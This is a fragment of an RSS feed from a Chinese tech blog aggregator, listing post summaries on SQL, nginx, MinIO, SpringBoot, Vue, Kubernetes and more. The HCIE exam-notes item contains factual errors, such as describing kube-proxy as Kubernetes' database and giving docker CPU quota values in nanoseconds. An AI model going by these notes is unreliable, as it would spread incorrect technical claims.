java-1.8.0-openjdk-1.8.0.252.b09-3.el8_2.x86_64 &amp;lt;----==== 1.8.0.252.b09-3.el8_2 Install same version of java-XXX-openjdk-devel as above</description>
    </item>
    <item>
      <title>补全数据 2种方式</title>
      <link>https://bchobby.github.io/posts/7b385581ab4ea573010a853c71a5d5a9/</link>
      <pubDate>Tue, 02 Jan 2024 15:42:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b385581ab4ea573010a853c71a5d5a9/</guid>
      <description>1.数据库构造一个连续日期的表作为主表关联数据表查询 最近7天的数据，没有数据自动补0&#xA;创建表结构:&#xA;DROP TABLE IF EXISTS `person_num_day`; CREATE TABLE `person_num_day` ( `date` date NULL DEFAULT NULL, `person_num` int(11) NULL DEFAULT NULL ) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci; sql如下: 如果项目中 有连续的日期表, 就不用写 INTERVAL 1 day , INTERVAL 2 day, INTERVAL 3 day了, 我们拿来即用&#xA;SELECT a.*, ifnull(b.person_num, 0) FROM ( SELECT curdate() as date UNION ALL SELECT date_sub(curdate(), INTERVAL 1 day) UNION ALL SELECT date_sub(curdate(), INTERVAL 2 day) UNION ALL SELECT date_sub(curdate(), INTERVAL 3 day) UNION ALL SELECT date_sub(curdate(), INTERVAL 4 day) UNION ALL SELECT date_sub(curdate(), INTERVAL 5 day) UNION ALL SELECT date_sub(curdate(), INTERVAL 6 day) ) a LEFT JOIN ( SELECT date, person_num FROM person_num_day GROUP BY date ) b on a.</description>
    </item>
    <item>
      <title>深度学习｜2.4 梯度下降</title>
      <link>https://bchobby.github.io/posts/b982fcd228d5cb4c1ca9e909ef6f2533/</link>
      <pubDate>Tue, 02 Jan 2024 15:39:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b982fcd228d5cb4c1ca9e909ef6f2533/</guid>
      <description>如上图， J ( w , b ) J(w,b) J(w,b)是由w和b两个参数共同控制的损失函数，损失是不好的东西，所以应该求取合适的w和b使得损失最小化。&#xA;为了简单考虑，可以先忽略参数b。&#xA;斜率可以理解成在朝着x正方向移动单位距离所形成的损失值的变化，如果损失值变大，那么x往负方向移动；如果斜率为负，损失值变小，说明可以继续往正方向移动，应该要加上一个正值。（负负得正）&#xA;其中学习率用于控制变化的过程。&#xA;学习率越小，参数变化就越小，越容易收缩到一个定值。</description>
    </item>
    <item>
      <title>iperf2和iperf3</title>
      <link>https://bchobby.github.io/posts/1e060226fa632221b4cae62bfed66d33/</link>
      <pubDate>Tue, 02 Jan 2024 15:34:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e060226fa632221b4cae62bfed66d33/</guid>
      <description>一、iperf2和iperf3比较 https://iperf2.sourceforge.io/IperfCompare.html&#xA;Feature&#xA;Iperf 2&#xA;Iperf 3&#xA;Traffic types&#xA;TCP traffic&#xA;Y&#xA;Y&#xA;UDP traffic&#xA;Y&#xA;Y&#xA;SCTP traffic&#xA;N&#xA;Y&#xA;IPv4&#xA;Y&#xA;Y&#xA;IPv6&#xA;Y&#xA;Y&#xA;Multicast traffic (including SSM)&#xA;Y&#xA;N&#xA;TCP connect only&#xA;Y&#xA;N&#xA;Layer 2 checks&#xA;Y&#xA;N&#xA;TCP near congestion (experimental)&#xA;Y&#xA;N&#xA;Output options&#xA;Human format&#xA;Y&#xA;Y&#xA;JSON output&#xA;N&#xA;Y&#xA;CSV (basic only)&#xA;Y&#xA;N&#xA;Client side server reports&#xA;N</description>
    </item>
    <item>
      <title>Http状态：net::ERR_INCOMPLETE_CHUNKED_ENCODING</title>
      <link>https://bchobby.github.io/posts/4f6ca543add8cdc05d783db71efb4225/</link>
      <pubDate>Tue, 02 Jan 2024 15:32:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f6ca543add8cdc05d783db71efb4225/</guid>
      <description>一、问题描述： 今天前端的小伙伴遇到一个js文件加载报错：net::ERR_INCOMPLETE_CHUNKED_ENCODING，不论如何刷新页面始终只有该文件加载失败，Chrome开发者工具中响应内容显示此请求没有可用的响应数据。&#xA;二、原因调查 排除非前端发布问题，直接查看ngnix日志，发现有异常日志：&#xA;2024/01/02 14:23:43 open() &#34;/usr/local/nginx/proxy_temp/4/86/0000000864&#34; failed (13: Permission denied) while reading upstream 首先，先了解一下有关ngnix 临时文件存储：&#xA;/usr/local/nginx/proxy_temp 是Nginx代理临时文件存储路径的默认位置。在 Nginx 服务器中，当使用代理模块时，会将代理的临时文件存储在这个proxy_temp目录中。这些临时文件通常是代理请求的响应内容，用于临时存储代理请求的数据。&#xA;proxy_temp_file_write_size是用于控制在向磁盘写入临时文件时的文件大小阈值。如果一个代理请求的响应内容超过了这个阈值，Nginx会将响应内容写入临时文件而不是存储在内存中。这有助于避免内存溢出，特别是在处理大型响应时。&#xA;因此，proxy_temp_file_write_size 和 /usr/local/nginx/proxy_temp目录都与代理请求的临时文件存储有关。proxy_temp_file_write_size控制着何时将响应内容写入临时文件，而/usr/local/nginx/proxy_temp 是实际存储这些临时文件的默认位置。&#xA;据上所述，open() &#34;/usr/local/nginx/proxy_temp/4/86/0000000864&#34; failed (13: Permission denied)的原因，应该就是/usr/local/nginx/proxy_temp目录过大或者没有写入权限。&#xA;如果确认目录权限没有问题，那么只要清空/usr/local/nginx/proxy_temp目录即可：&#xA;执行如下命令：&#xA;rm -rf /usr/local/nginx/proxy_temp/* 最后刷新页面，已能正常加载该js文件：</description>
    </item>
    <item>
      <title>Web自动化测试框架总结</title>
      <link>https://bchobby.github.io/posts/56adecdd6a8720176a8edf4024c99997/</link>
      <pubDate>Tue, 02 Jan 2024 15:27:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56adecdd6a8720176a8edf4024c99997/</guid>
      <description>实施过了web系统的UI自动化，回顾梳理下，想到什么写什么，随时补充。 首先，自动化测试不是手动测试的替代品，是比较好的补充，而且不是占大比重的补充。 70%的测试工作集中在底层接口测试和单元测试，20%的测试工作为集成测试，其他10%的测试即为界面测试。开发方向：&#xA;尽可能的相通的模块，通用的封装开发约定好，便于定位适用兼容测试无界面运行快速定位问题：报错信息、错误截图多环境 收益点 脚本开发时间和复用次数快速验证，第一时间响应问题 还可以做哪些？&#xA;兼容性多环境便于快速定位提炼更多通用模块。调研更优解决方案，比如：cypress等case依赖优化深度校验 什么样的项目适合web自动化 系统稳定，太多的阻止程序或更改。准备之前，先手工测试，确认自动测试可以涵盖的系统功能。需要多系统，多浏览器兼容性测试 什么样的功能点需要web自动化 主业务流程易于实现自动化的web元素、页面重复量大的功能 同时，在这我为大家准备了一份软件测试视频教程（含面试、接口、自动化、性能测试等），就在下方，需要的可以直接去观看，也可以直接【点击文末小卡片免费领取资料文档】&#xA;软件测试视频教程观看处：&#xA;2024年Python自动化测试全套保姆级教程，70个项目实战，3天练完，永久白嫖...&#xA;web自动化常见的验证点 页面元素验证页面列表数据验证页面元素属性？UI的文本，图片显示正确性UI的交互逻辑正确性测试UI上的用户行为正确性测试 对于web自动化框架常见的需求点 分布式执行，可以多机器，多浏览器同步执行脚本适用于不同环境运行分层设计，方便维护生成测试报告模块的复用必要的日志搜集 UI自动化收益点的采集 回归测试需要定期运行，在自动化时，它们可以节省测试人员的时间，我们可以更专注于其他场景和探索性测试。脚本开发时间和复用次数误报频率 UI自动化缺点or局限 不能快速反馈（相对于单元测试和API测试）只会对于case已确定的内容进行校验运行的稳定性发现的错误不多，大多数错误似乎是通过“意外”或进行探索性测试而发现的。这可能是因为在每个探索性测试会话期间，我们可能以不同的方式测试应用程序，从而通过应用程序找到新的漏洞。编写优秀且稳定的XPath / CSS定位器所花费的时间，并在底层HTML标记发生变化时更新它们。UI本身的变化性，要想达到和手工测试相同的覆盖率，投入比较大。 如何进行CI（Continuous Integration），也就是持续集成 ● 持续提交代码 (Check-in)&#xA;○ 一天之中多次提交&#xA;● 持续构建代码 (Build)&#xA;○ 保证在任何时刻代码是可以继续开发的&#xA;● 持续部署代码 (Deploy)&#xA;○ 保证始终有一个可以部署的版本&#xA;● 持续测试代码 (Test)&#xA;○ 每次提交均执行单元测试&#xA;○ 每天一次或数次集成测试&#xA;○ 每天一次或数次系统测试 复制代码 不过，高频的集成，还是用接口更加合适，后面的工作会把系统的交互接口自动化，届时分享。&#xA;最后感谢每一个认真阅读我文章的人，礼尚往来总是要有的，虽然不是什么很值钱的东西，如果你用得到的话可以直接拿走：&#xA;这些资料，对于做【软件测试】的朋友来说应该是最全面最完整的备战仓库，这个仓库也陪伴我走过了最艰难的路程，希望也能帮助到你！凡事要趁早，特别是技术行业，一定要提升技术功底。</description>
    </item>
    <item>
      <title>将Qt窗口停靠在Maya界面中</title>
      <link>https://bchobby.github.io/posts/ff6eb0b9377e1f1e032d7c6b7f146892/</link>
      <pubDate>Tue, 02 Jan 2024 15:27:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff6eb0b9377e1f1e032d7c6b7f146892/</guid>
      <description> 问题描述： 将PySide2/PyQt工具的窗口停靠在Maya的界面中&#xA;解决方法： from PySide2 import QtCore, QtGui, QtWidgets from maya.app.general.mayaMixin import MayaQWidgetDockableMixin class MainWindow(MayaQWidgetDockableMixin, QtWidgets.QMainWindow): def __init__(self, parent=None): super(MainWindow, self).__init__(parent=parent) self.setWindowTitle(&#34;test&#34;) # Main widget main_widget = QtWidgets.QWidget() main_layout = QtWidgets.QVBoxLayout() # Create UI widgets self.test_btn = QtWidgets.QPushButton(&#39;Test&#39;) # Attach widgets to the main layout main_layout.addWidget(self.test_btn) # Set main layout main_widget.setLayout(main_layout) self.setCentralWidget(main_widget) # Connect buttons signals self.test_btn.clicked.connect(self.on_test_btn_click) def on_test_btn_click(self): print(&#39;Test button was clicked&#39;) w = MainWindow() w.show(dockable=True, floating=False, area=&#39;left&#39;) </description>
    </item>
    <item>
      <title>华为Could API人工智能系列——关键词抽取</title>
      <link>https://bchobby.github.io/posts/da17030f72d0dac13467cf9e4973c462/</link>
      <pubDate>Tue, 02 Jan 2024 15:25:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da17030f72d0dac13467cf9e4973c462/</guid>
      <description>华为Could API人工智能系列——关键词抽取 前言 云原生时代，开发者们的编程方式、编程习惯都发生了天翻地覆的变化，大家逐渐地习惯在云端构建自己的应用。作为新一代的开发者们，如何更快速了解云，学习云，使用云，更便捷、更智能的开发代码，从而提升我们的开发效率，是当前最热门的话题之一，而Huawei Cloud Toolkit,作为连接华为云的百宝箱，是集成在各大IDE平台上的插件集合，会在方方面面提升着开发者的效率。&#xA;华为云API开发套件助力开发者快速集成华为云，可做到便捷连接200+的华为云服务，引用7000+的华为云API服务，在IDE中集成华为云的功能，让开发者与云端华为云建立连接。&#xA;智能编码方面集成了华为云自主研发的代码大模型和软件分析技术，全场景函数级、行级代码生成，同规模算力一次通过业界第一，这会帮助开发者更为高效的使用自动语义生成，达到快速开发的目的，使整个过程更智能。&#xA;环境准备 开发语言：Python&#xA;开发工具：PyCharm Community Edition 2023.1.4&#xA;PyCharm插件：&#xA;1、Chinese (Simplified) Language Pack /中文语言包&#xA;2、Huawei Cloud API：华为云API插件提供华为云服务全量API检索、调试、SDK代码自动补全、集成华为云CLI、示例代码等功能&#xA;3、Huawei Cloud CodeArts Check：华为云代码检查插件提供业界规范（含华为云）检查，支持一键格式化和代码自动修复，当前支持Java、C++、C，这个使您使用的环境操作即可，我这里用的python没有提示。&#xA;4、Huawei Cloud CodeArts Snap：华为云 CodeArt Snap 智能编程助手致力于打造现代化开发新范式，通过将自然语言转化为规范可阅读、无开源漏洞的编程语言，提升开发者编码效率，助力企业快速响应市场不确定性；&#xA;5、Huawei Cloud Toolkit Platform：华为云底座插件为华为云各类云服务插件提供公共能力，比如单点登录、UI集成、API访问等功能；&#xA;PyCharm环境的搭建：https://laoshifu.blog.csdn.net/article/details/135279145&#xA;API接口开通地址：https://console.huaweicloud.com/nlp/#/nlp/overview 关键词抽取 给定一段文本,抽取其中最能够反映文本主题或者意思的词汇。&#xA;开通地址：https://console.huaweicloud.com/nlp/#/nlp/overview&#xA;开通效果：&#xA;请求参数 名称类型IN必选描述X-Auth-Tokenstringheadertrue 用户Token。 通过调用IAM服务获取用户Token接口获取(响应消息头中X-Subject-Token的值)。&#xA;project_idstringpathtrue 来自公有云的Project ID,用于资源隔离。&#xA;Body 参数 名称类型必选描述textstringtrue 待分析文本,长度为1~512,文本编码为UTF-8。&#xA;limitintegerfalse 返回关键词的最大数量,默认为5。&#xA;langstringfalse 支持的文本语言类型,目前只支持中文,默认为zh。&#xA;返回参数 名称类型必选描述wordsArray of stringsfalse 关键词列表。调用失败时无此字段。&#xA;error_codestringfalse 调用失败时的错误码,具体请参见错误码。调用成功时无此字段。&#xA;error_msgstringfalse 调用失败时的错误信息。调用成功时无此字段。&#xA;API调试 测试词语：【</description>
    </item>
    <item>
      <title>nginx 配置代理ip访问https的域名配置</title>
      <link>https://bchobby.github.io/posts/4015cd2f30ca0a6710bff67016445b7b/</link>
      <pubDate>Tue, 02 Jan 2024 15:19:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4015cd2f30ca0a6710bff67016445b7b/</guid>
      <description>前言 代理服务器是一种中间服务器，用于转发客户端请求到目标服务器。Nginx是一款高性能的Web服务器和反向代理服务器，可以用于配置代理IP访问HTTPS的域名。在本篇文章中，我们将介绍如何使用Nginx配置代理IP访问HTTPS域名，并提供相关代码示例。&#xA;1. 安装Nginx 首先，我们需要安装Nginx。在Ubuntu系统上，可以使用以下命令进行安装：&#xA;sudo apt-get update sudo apt-get install nginx 在CentOS系统上，可以使用以下命令进行安装：&#xA;sudo yum install epel-release sudo yum install nginx 2. 配置Nginx代理 完成Nginx的安装后，我们可以开始配置代理。在Nginx的配置文件中，我们可以使用`proxy_pass`指令配置代理IP访问HTTPS域名。&#xA;首先，打开Nginx的配置文件`/etc/nginx/nginx.conf`：&#xA;sudo nano /etc/nginx/nginx.conf 在配置文件中找到`http`部分，然后在其中添加以下配置：&#xA;http { ... server { listen 80; server_name example.com; location / { proxy_pass https://your_ip; } } } 其中，`example.com`是要代理的域名，`your_ip`是要代理的IP地址。请根据实际情况进行替换。&#xA;保存并退出配置文件。&#xA;3. 重启Nginx 完成配置后，我们需要重新启动Nginx服务器使其生效。可以使用以下命令：&#xA;sudo service nginx restart 4. 验证代理 现在，您可以尝试访问`http://example.com`来验证代理是否配置成功。Nginx会将请求转发到`https://your_ip`，并将响应返回给客户端。&#xA;可以使用`curl`命令来测试代理，例如：&#xA;curl http://example.com 如果一切正常，您将会看到来自`https://your_ip`的响应。&#xA;结论 本文介绍了如何使用Nginx配置代理IP访问HTTPS的域名。首先，我们安装了Nginx，并修改了配置文件以添加代理配置。然后，我们重新启动了Nginx服务器，并使用`curl`命令进行了验证。&#xA;希望本文对您有所帮助！</description>
    </item>
    <item>
      <title>[linux c/c&#43;&#43;] 通过读取 /proc 路径获取指定进程名的信息</title>
      <link>https://bchobby.github.io/posts/7e79c4e8e28a0b302d5a4e406d1d34b9/</link>
      <pubDate>Tue, 02 Jan 2024 15:18:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e79c4e8e28a0b302d5a4e406d1d34b9/</guid>
      <description>#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;sys/types.h&amp;gt; #include &amp;lt;dirent.h&amp;gt; #include &amp;lt;string.h&amp;gt; static bool checkServiceRunning(const char *servicename){ constexpr int BUF_SIZE = 4096; bool ret = false; DIR *dir; struct dirent *ptr; FILE *fp; char filePath[512] = {0}; char buf[BUF_SIZE] = {0}; char key[128] = {0}; char value[512] = {0}; dir = opendir(&#34;/proc&#34;); if(dir!=NULL){ while((ptr = readdir(dir)) != NULL){ if(strcmp(ptr-&amp;gt;d_name, &#34;.&#34;) == 0 || (strcmp(ptr-&amp;gt;d_name, &#34;..&#34;) == 0)) continue; if(ptr-&amp;gt;d_type != DT_DIR) continue; sprintf(filePath, &#34;</description>
    </item>
    <item>
      <title>SpringBoot之注册Web组件</title>
      <link>https://bchobby.github.io/posts/a1458943f8dde1456d9b348c9a8d91cc/</link>
      <pubDate>Tue, 02 Jan 2024 15:17:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1458943f8dde1456d9b348c9a8d91cc/</guid>
      <description>系列文章目录 提示：这里可以添加系列文章的所有文章的目录，目录需要自己手动添加&#xA;SpringBoot之注册Web组件&#xA;提示：写完文章后，目录可以自动生成，如何生成可参考右边的帮助文档&#xA;文章目录 系列文章目录前言一、注册Servlet注册方式一注册方式二 二、注册Filter注册方式一注册方式二 注册Listener注册方式一注册方式二 总结 前言 提示：这里可以添加本文要记录的大概内容：&#xA;在当今的互联网时代，Web 应用程序已经成为了人们日常生活和工作中不可或缺的一部分。而SpringBoot 作为一个基于 Java 的轻量级框架，因其简单易用、快速开发和高效运行的特点，受到了越来越多开发者的青睐。&#xA;在SpringBoot 应用程序中，注册 Web 组件是一个非常重要的环节。它可以帮助我们将应用程序的各个部分（如控制器、服务、过滤器等）整合到一起，形成一个完整的 Web 应用程序。&#xA;通过阅读这篇博客文章，读者将不仅可以掌握SpringBoot 注册 Web 组件的基本概念和方法，还能够了解一些高级技巧和最佳实践。无论是刚开始学习SpringBoot 的新手，还是已经有一定经验的开发者，都可以从中受益。&#xA;让我们一起开始探索SpringBoot 之注册 Web 组件的世界吧！&#xA;一、注册Servlet 由于SpringBoot项目没有web.xml文件，所以无法在web.xml中注册web组件，SpringBoot有自己的方式注册web组件。&#xA;注册方式一 1.编写servlet&#xA;@WebServlet(&#34;/first&#34;) public class FirstServlet extends HttpServlet { public void doGet(HttpServletRequest request, HttpServletResponse response){ System.out.println(&#34;First Servlet........&#34;); } } 2.启动类扫描web组件&#xA;@SpringBootApplication //SpringBoot启动时扫描注册注解标注的Web组件 @ServletComponentScan public class Springbootdemo2Application { public static void main(String[] args) { SpringApplication.run(Springbootdemo2Application.class, args); } } 注册方式二 1.</description>
    </item>
    <item>
      <title>nextTick的使用</title>
      <link>https://bchobby.github.io/posts/f2c7242b398d59beb59edbdd20bd075c/</link>
      <pubDate>Tue, 02 Jan 2024 15:13:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2c7242b398d59beb59edbdd20bd075c/</guid>
      <description> 场景： 左边的树有被选中项，则显示右边的内容，且清除右边表格的被选中项&#xA;代码大概就是 选中左边的树然后执行 this.$refs.treeRef.setCurrentRow(); // 取消表格高亮行&#xA;然后报错：&#xA;解决： 在外面包一层this.$nextTick就可&#xA;this.$nextTick(()=&amp;gt;{ this.$refs.treeRef.setCurrentRow(); // 取消表格高亮行 }) 原因： 在执行this.$refs.treeRef.setCurrentRow(); // 取消表格高亮行时，右边的表格还没显示出来，所以取不到右边的表格，右边的表格为undefined。&#xA;加上 this.$nextTick，this.$refs.treeRef.setCurrentRow();就会在页面的dom更新后（也就是右边的表格显示出来之后）再执行了&#xA;补充 场景2： 点击按钮弹出对话框，对话框中有一个可以单选的表格，我需要在点击按钮弹出对话框时清除对话框中表格的单选选中项，使用了this.$nextTicky 依旧提示this.$ref.addForm为undefined，&#xA;写法如下：&#xA;// 添加 打开对话框 addOpen() { this.$nextTick(() =&amp;gt; { // this.$nextTick(()=&amp;gt;{ // this.$refs.addForm.setCurrentRow(); // }) this.$refs.addForm.setCurrentRow(); }); this.dialogVisible_add = true; }, 报错如下：&#xA;解决： 包两层this.$nextTick&#xA;// 添加 打开对话框 addOpen() { this.$nextTick(() =&amp;gt; { this.$nextTick(()=&amp;gt;{ this.$refs.addForm.setCurrentRow(); // 取消表格高亮行 }) }); this.dialogVisible_add = true; }, </description>
    </item>
    <item>
      <title>HCIE云计算备考知识点记录</title>
      <link>https://bchobby.github.io/posts/6b08ddf006ce54195be206b765a346b0/</link>
      <pubDate>Tue, 02 Jan 2024 15:12:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b08ddf006ce54195be206b765a346b0/</guid>
      <description>仅针对个人觉得需要记录的知识点记录，可能会有错误&#xA;kubernetes由master节点与node节点组&#xA;Dockerfile基础镜像中有一个特殊镜像scratch，表示一个空白镜像&#xA;kubernetes组件功能：&#xA;kube-apiserver——暴露kubernetes的API接口，负责接收所有请求&#xA;kube-proxy——kubernetes的数据库&#xA;kube-schedule——kubernetes集群调度器，用于为新pod选择node&#xA;Eggo是openEuler21.09推出的kubernetes集群部署工具&#xA;CCE服务的pod访问类型不需要配置为负载均衡&#xA;创建pod的yaml文件，但不真正创建pod：kubectl run nginx-image=xxxx -o yaml —dry-run=client &amp;gt;test.yaml&#xA;dockerfile中ADD命令可以用于将文件、目录从构建上下文或远程URL复制到容器中，与COPY指令类似，可以多次使用ADD指令，实现多个文件和目录的复制操作&#xA;创建Cronjob和job时，kind参数应该设置为不同的Cronjob和job两种&#xA;kubectl get deployment命令回显的字段含义：&#xA;NAME：部署的名称。&#xA;READY：展示有多少个副本已经就绪（Ready）。&#xA;UP-TO-DATE：展示有多少个副本与部署期望的副本数一致。&#xA;AVAILABLE：展示有多少个副本可以提供服务（Available）。&#xA;AGE：展示部署对象创建的时间长度。&#xA;安全容器指的是每一个pod都运行在独立的微型虚拟机中，拥有独立的操作系统和内核，以及虚拟化层的安全隔离&#xA;kubernetes中image pull policy用于设置镜像拉取策略，支持三种拉取策略：&#xA;Always——总是从从远端仓库拉取镜像&#xA;IfNotPresent——本地有则使用本地镜像，本地没有则从从远端仓库拉取镜像&#xA;Never——只使用本地镜像，如果本地没有就会报错&#xA;调度pod运行节点的两种方式node selector和node affinity：&#xA;node affinity支持更为复杂的pod调度策略，&#xA;node selector相对简单，只能使用基于集合的标签选择器匹配节点&#xA;docker run 命令指定了参数会把CMD里的参数覆盖，但如果使用ENTRYPOINT就不会被覆盖&#xA;K8s启动pod容器时，会按照配置文件中顺序启动，如果其中一个容器没有启动成功，会影响其他容器，为了避免这种情况建议在编写yaml时规定容器启动顺序&#xA;k8s中通过yaml创建的对象可以通过yaml文件或者指定对象名称删除&#xA;k8s中的Cronjob在完成一次任务后，pod是running状态&#xA;pod中的容器都被成功终止之后，pod会处于conpleted状态&#xA;dockerfile在容器构建时，可以使用entrypoint指定镜像启动时执行的命令，且不会像CMD一样被覆盖，一般是一些脚本，用以启动时进行初始化配置&#xA;docker run如果指定了参数会把dockerflie制作时的CMD参数覆盖&#xA;docker中docker daemon负责接收客户端对容器的操作请求&#xA;HCS的CCE服务在架构上分为管理面、控制面和数据面，进行一站式kubernetes创建的是“云容器引擎”&#xA;HCS的SWR服务是一个容器镜像存储和管理服务。SWR提供了一个集中的、安全的容器镜像仓库，用于存储、分享和管理容器镜像。&#xA;eReplication与IAM需要部署在Global区&#xA;bind mounts与volumes的区别在于bind mounts是将宿主机的任意文件和文件夹挂载到容器，而volumes本质是将docker服务管理的一块区域挂载到容器&#xA;pod的污点类型：&#xA;preferNoSchedule：尽可能不调度到该节点&#xA;NoSchedule：新创建的pod不调度到该节点，已运行的pod不受影响&#xA;NoExecute：完全不调度到该节点&#xA;kubernetes管理层面的组件在本质上属于静态容器&#xA;在测试阶段使用kubernetes部署测试应用，可以使用容器默认权限级别&#xA;Kubernetes生态系统中有许多常用的插件和工具，用于增强和扩展Kubernetes的功能。以下是一些常见的Kubernetes插件：&#xA;Ingress Controllers：用于实现HTTP和HTTPS流量的入口控制和路由。常见的Ingress Controllers包括Nginx Ingress Controller、Traefik、HAProxy Ingress等。Prometheus：用于监控和度量Kubernetes集群的开源监控系统。它可以采集指标数据并提供强大的查询和报警功能。Grafana：一个可视化和监控仪表盘工具，可与Prometheus等数据源集成，用于展示和分析监控数据。Helm：一个Kubernetes包管理器，用于简化应用程序的部署、升级和管理。它允许用户定义和分享应用程序的Chart，以便轻松部署到Kubernetes集群。Istio：一个用于微服务架构的服务网格平台，提供流量管理、安全性、可观察性和策略执行等功能。Calico：一个网络和安全插件，用于提供高性能的网络功能和网络策略。它支持Kubernetes集群的网络隔离和安全性。Flannel：一个网络插件，用于创建覆盖整个Kubernetes集群的容器网络。它提供IP地址管理和网络通信功能。CoreDNS：一个用于Kubernetes集群的DNS插件，提供服务发现和DNS解析功能，简化了对服务的访问和管理。Velero：一个备份和恢复工具，用于保护和迁移Kubernetes集群中的应用程序和数据。MetalLB：一个用于在裸金属（Bare Metal）环境中提供负载均衡服务的插件。 docker run的参数 —cpu-period 10000 —cpu-quota 2500的数字以纳秒为单位</description>
    </item>
    <item>
      <title>如何在 Ubuntu 20.04 上以独立模式设置 MinIO 对象存储服务器</title>
      <link>https://bchobby.github.io/posts/0d44bdb264384a3cb521512cf84dada6/</link>
      <pubDate>Tue, 02 Jan 2024 15:11:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d44bdb264384a3cb521512cf84dada6/</guid>
      <description>前些天发现了一个人工智能学习网站，通俗易懂，风趣幽默，最重要的屌图甚多，忍不住分享一下给大家。点击跳转到网站。&#xA;如何在 Ubuntu 20.04 上以独立模式设置 MinIO 对象存储服务器 介绍 存储非结构化对象数据 blob 并使其可通过 HTTP API（称为对象存储）进行访问的能力是现代技术领域不可或缺的一部分，尤其是基于云的备份解决方案和高可用性内容交付网络 (CDN)。&#xA;MinIO是一款与Amazon S3云存储服务兼容的开源对象存储服务器。配置为与 Amazon S3 交互的应用程序也可以配置为与 MinIO 交互，这意味着您可以使用 MinIO 作为 S3 的可行替代方案，以更好地控制对象存储服务器。该服务存储非结构化数据，例如照片、视频、日志文件、备份和容器/虚拟机映像，并可以提供单个对象存储服务器，该服务器可以池化分布在许多服务器上的多个驱动器。&#xA;MinIO用Go编写，带有命令行客户端和图形界面（MinIO 控制台），同时支持高级消息队列协议 (AMQP)、Elasticsearch、Redis、NATS和PostgreSQL目标的简单队列服务。出于所有这些原因，设置 MinIO 对象存储服务器可以为您的项目添加广泛的灵活性和实用性。&#xA;MinIO 可以以独立模式安装在单个服务器上，也可以以分布式模式安装在两台或多台服务器（总共至少有四个驱动器或存储卷）上。MinIO 的独立部署缺乏分布式部署默认的一些高级功能，例如版本控制、扩展、冗余和可用性。独立部署可用于评估和小型开发目的，而强烈建议使用分布式部署以满足生产或重大开发需求。&#xA;在本教程中，将通过以下方式设置 MinIO 的独立部署：&#xA;在运行 Ubuntu 20.04 的服务器上安装 MinIO 服务器。个人计算机上安装 MinIO 客户端并将其配置为与 MinIO 服务器通信。设置数字证书以保护服务器和客户端之间的通信（包括通过 MinIO 控制台）。 先决条件 需要：&#xA;一台 Ubuntu 20.04 服务器，包括 sudo 非 root 用户和防火墙。 或者，要通过域名访问 MinIO 控制台而不是通过服务器的 IP 地址访问它，或者除了通过服务器的 IP 地址访问它之外，还需要：&#xA;已注册的域名。 第 1 步 — 下载并安装 MinIO 服务器 MinIO 服务器可以从二进制文件.</description>
    </item>
    <item>
      <title>如何在 Ubuntu 18.04 上使用 Minio 设置对象存储服务器</title>
      <link>https://bchobby.github.io/posts/095e02b49c525474c6bc2f00377577f9/</link>
      <pubDate>Tue, 02 Jan 2024 15:10:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/095e02b49c525474c6bc2f00377577f9/</guid>
      <description>前些天发现了一个人工智能学习网站，通俗易懂，风趣幽默，最重要的屌图甚多，忍不住分享一下给大家。点击跳转到网站。&#xA;介绍 从基于云的备份解决方案到高可用性内容交付网络 (CDN)，存储非结构化对象数据 blob 并使其可通过 HTTP API 访问的能力（称为对象存储）已成为现代技术领域不可或缺的一部分。&#xA;Minio是一款流行的开源对象存储服务器，与Amazon S3云存储服务兼容。已配置为与 Amazon S3 通信的应用程序也可以配置为与 Minio 通信，如果希望对对象存储服务器进行更多控制，则 Minio 可以成为 S3 的可行替代方案。该服务存储非结构化数据，例如照片、视频、日志文件、备份和容器/虚拟机映像，甚至可以提供单个对象存储服务器，该服务器可以池化分布在许多服务器上的多个驱动器。&#xA;Minio 用 Go 编写，附带命令行客户端和浏览器界面，并支持高级消息队列协议 (AMQP)、Elasticsearch、Redis、NATS和PostgreSQL目标的简单队列服务。学习设置 Minio 对象存储服务器可以为项目添加广泛的灵活性和实用性。&#xA;在教程主要说明：&#xA;在 Ubuntu 18.04 服务器上安装 Minio 服务器并将其配置为systemd服务。使用Let’s Encrypt设置 SSL/TLS 证书以保护服务器和客户端之间的通信。通过HTTPS访问Minio的浏览器界面来使用和管理服务器。 先决条件 要完成本教程，将需要：&#xA;一台 Ubuntu 18.04服务器，包括 sudo 非 root 用户和防火墙。完全注册的域名，或可访问的IP地址。 第 1 步 — 安装和配置 Minio 服务器 可以通过编译源代码或通过二进制文件来安装Minio服务器。要从源安装它，服务器系统上至少需要安装Go 1.12。&#xA;在此步骤中，通过预编译的二进制文件安装服务器，然后配置 Minio 服务器。&#xA;首先，登录服务器，替换sammy为用户名和your_server_ipUbuntu 18.04 服务器的 IP 地址：&#xA;ssh sammy@your_server_ip 更新软件包数据库：&#xA;sudo apt update 接下来，从官网下载Minio服务器的二进制文件：</description>
    </item>
    <item>
      <title>深度理解Flutter：有状态Widget与无状态Widget的详细对比</title>
      <link>https://bchobby.github.io/posts/b03240af7ecf2a4ffc799a5e8f2eab21/</link>
      <pubDate>Tue, 02 Jan 2024 15:01:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b03240af7ecf2a4ffc799a5e8f2eab21/</guid>
